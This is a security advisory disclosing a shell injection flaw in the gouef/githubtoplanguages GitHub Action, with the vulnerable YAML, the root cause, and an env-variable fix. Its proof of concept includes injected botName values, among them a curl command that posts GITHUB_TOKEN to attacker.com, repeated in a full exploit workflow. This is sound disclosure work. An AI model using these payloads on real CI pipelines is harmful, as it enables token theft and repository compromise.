Security AdvisoryGHSA-8rfq-rmx4-8qhrSEVERITY: Critical

Shell Injection via Composite Action Inputs in gouef/githubtoplanguages

TARGET REPOSITORYgouef / githubtoplanguages
PATCHED VERSIONSReview in progress / Pending patch
CWE CLASSIFICATION:CWE-77: Command Injection · CWE-78: OS Command Injection · CWE-94: Code Injection
Sep 2026•7 min read•Madhan Alagarsamy
Official GitHub Advisory
Shell Injection via Composite Action Inputs in gouef/githubtoplanguages

Executive Summary

During security research into GitHub Actions composite actions, a critical command injection flaw was uncovered in gouef/githubtoplanguages (action.yml:64-67). The action constructed shell commands by embedding raw input expressions (${{ inputs.botName }} and ${{ inputs.botEmail }}) directly into run: script blocks without environment boundaries. An adversary supplying shell metacharacters could escape quotes, execute arbitrary commands with the privileges of the runner user, exfiltrate the repo GITHUB_TOKEN with contents: write access, or spawn an interactive reverse shell.

Coordinated Disclosure Timeline

3 weeks ago:

Vulnerability identified in action.yml string interpolation; reported privately to maintainer via GitHub Security Advisory.

3 weeks ago:

Maintainer (@JanGalek) accepted the report, acknowledged CVSS Critical severity, and initiated CVE assignment request.

2 weeks ago:

Follow-up coordinated disclosure exchanges between reporter (@madhanalagarsamy) and maintainer.

2 weeks ago:

Official GitHub Security Advisory GHSA-8rfq-rmx4-8qhr published on GitHub Advisory Database as Critical severity.

01.Vulnerable Code Pattern (action.yml:64-67)

The composite action configures Git author details prior to committing updated language statistics. The raw input values are pasted directly into the run block without an intermediate environment variable boundary:

Vulnerable step in action.yml:64-67
yaml
- name: Set up Git
  run: |
    git config --global user.name "${{ inputs.botName }}"
    git config --global user.email "${{ inputs.botEmail }}"
  shell: bash

02.Root Cause: Expression Preprocessing vs. Shell Execution

${{ ... }} is a GitHub Actions expression preprocessing step: the runner evaluates the expression and textually splices the raw input string directly into the shell script file before bash ever parses it. Because the input sits within plain double quotes on its own line with no trailing syntax requirements, an attacker can break out of the quotes using "; <arbitrary command>; echo ", leading to seamless execution without syntax errors.

Reproduction & Proof of Concept (PoC)

The proof of concept confirmed arbitrary shell command execution, proof-of-compromise marker file generation, and credential exfiltration on the runner.

  1. Craft a workflow utilizing gouef/githubtoplanguages with an injection payload in botName: Jan"; touch /tmp/GITHUB_BOTNAME_PWNED.txt; whoami; echo "
  2. Trigger the workflow via workflow_dispatch or pull request.
  3. Observe the rendered command: git config --global user.name "Jan"; touch /tmp/GITHUB_BOTNAME_PWNED.txt; whoami; echo ""
  4. Execution confirmed: /tmp/GITHUB_BOTNAME_PWNED.txt was created and whoami output the CI runner user.
  5. Token exfiltration demonstration: Crafting payload botName: 'Jan"; curl -X POST https://attacker.com/exfil -d "$GITHUB_TOKEN"; echo "' sends the repository write token directly to attacker infrastructure.
PoC Exploit Workflow (action execution)
yaml
on: workflow_dispatch
jobs:
  generate:
    runs-on: ubuntu-latest
    permissions:
      contents: write
    steps:
      - uses: actions/checkout@v4
      - uses: gouef/githubtoplanguages@main
        with:
          user: "JanGalek"
          limit: 12
          botName: 'Jan"; curl -X POST https://attacker.com/exfil -d "$GITHUB_TOKEN"; echo "'
          botEmail: "bot@example.com"
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

Impact & Blast Radius

Critical Severity (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H). The runner environment possesses GITHUB_TOKEN with contents: write permission, giving attackers immediate write access to the repository to push malicious commits, modify CI workflows, plant backdoors in release assets, or exfiltrate all secrets and private repository code. Downstream projects consuming this composite action inherit the vulnerability, creating an open-source supply chain attack vector.

Remediation & Mitigation

Never splice untrusted inputs directly into run: script bodies using ${{ ... }}. Instead, pass all inputs into the step's environment using an env: block, and reference them inside the bash script as quoted environment variables ("$BOT_NAME", "$BOT_EMAIL").
Secure mitigation using environment variables
Recommended remediation patch in action.yml
yaml
- name: Set up Git
  env:
    BOT_NAME: ${{ inputs.botName }}
    BOT_EMAIL: ${{ inputs.botEmail }}
  run: |
    git config --global user.name "$BOT_NAME"
    git config --global user.email "$BOT_EMAIL"
  shell: bash

References & Documentation

#Command Injection#RCE#GitHub Actions#CI/CD Security#CWE-78#Supply Chain#Disclosure